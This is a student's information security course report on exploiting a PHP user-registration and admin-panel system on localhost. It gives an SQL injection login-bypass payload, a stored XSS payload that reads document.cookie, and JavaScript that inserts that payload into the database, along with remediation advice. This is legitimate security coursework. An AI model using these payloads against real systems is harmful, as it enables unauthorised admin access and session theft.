Information Security Project

Project

Denis Shuteriqi
Student ID: 15777

CONTENT

INTRODUCTION

This is part of the project of the Information Security Course. I originally intended to exploit another system found on Exploit-DB but as it turned out, the system was not free (you had to pay for it) so I opted for a simpler system from the same author. I used Windows 10 so I cannot guarantee that the exploits will work in another Operating System.

THE SYSTEM

User Registration & Login and User Management System with admin panel by Anuj Kumar.
The software is php based. It uses a MySQL database. The software offers 2 different modules: User module and admin panel. Users can register and log-in. In the admin panel the admin can manage all the registered users. He can update the user information and delete users. He can change his own password.

Exploits

SQL Injection and Authentication Bypass

The software has a few problems.
First, the admin panel is prone to SQLInjection. Therefore, we can bypass authentication. This is not an automatized exploit, rather one you can try yourselves.
A Sql injection is a we security vulnerability that allows an attacker to alter the SQL queries made to the database. This can be used to retrieve some sensitive information, like database structure, tables, columns and their underlying data.

Username: pentester' or'1'=1#

Password : pentester' or'1'=1#

Suggested Mitigation/Remediation Actions

Parameterized queries should be used to separate the command and data portions of the intended query to the database. These queries prevent an attacker from tampering with the query logic and extending a concatenated database query string. Code reviews should be conducted to identify any additional areas were the application or other applications in the organization are vulnerable to this attack.

Additionally, input validation should be enforced on the server side in order to ensure that only expected data is sent in queries. Where possible security specific libraries should be used in order to provide an additional layer of protection.

XSS ATTACK

The program is also vulnerable to XSS attacks on various places. There is no check on the backend site for input values.
Another unautomized exploit would be that you insert a XSS attack directly by yourself. It would work this way: It inserts an image inside of which there a small alert which acts as a pop-up and it shows the Session ID.

User side

1. Go to the user registration page http://localhost/loginsystem

2. Enter <img src="x" onerror=alert(document.cookie)> in one of the field (first name, last name, email, or contact)

3. Click sign up

Admin side

1. Login to admin panel (You can use the SQLi Injection :D) http://localhost/loginsystem/admin

2. After login successful it will redirect to manage user page

3. Payload triggered

I tried to automize this XSS attack by writing a simple program in Javascript. The method to insert the XSS attack looks like this:
I created the connectToDatabase function, which connects to the databased and it Is called in the following function. The function execute executes a query and can pretty much be used to do anything to the databse.

```
/**executes query */
function execute(sqlQuery, o = false) {
    const con = connectToDatabase();
    con.query(sqlQuery, function (error, result) {
        if (error) console.log(" try again!");
        if (o) {
            var opn = require('opn');
            opn('http://localhost/loginsystem/admin/manage-users.php');
        }
        else
            console.log(result)
        main();
    });
}
```

The following function is used to insert the XSS attack as a sql query to the database and it calls on the execute method.

```
/**  inserts the XSS attack*/
function insertXSS() {
    console.log("Choose one of the following actions: ");
    const output = readUserInput("Press enter to insert attack:");
    let sqlQuery;
    message = output;
    sqlQuery = `INSERT INTO users (fname) VALUES ('<img src="x" onerror=alert(document.cookie)>')`;
    execute(sqlQuery, true);
}
```

A basic cure to XSS attacks is to sanitize user input and pay attention where you put it. This is a more complicated topic however and more professional sources should be consulted.

Danger

If any person can gain admin panel access or attack the admin panel without even gaining access, he can edit and delete data. If this system were to be integrated into a larger system who uses the logins for there own business, this would be a real problem as it could cause major losses to the company.

References

https://www.exploit-db.com/exploits/48369
https://www.exploit-db.com/exploits/48368
https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/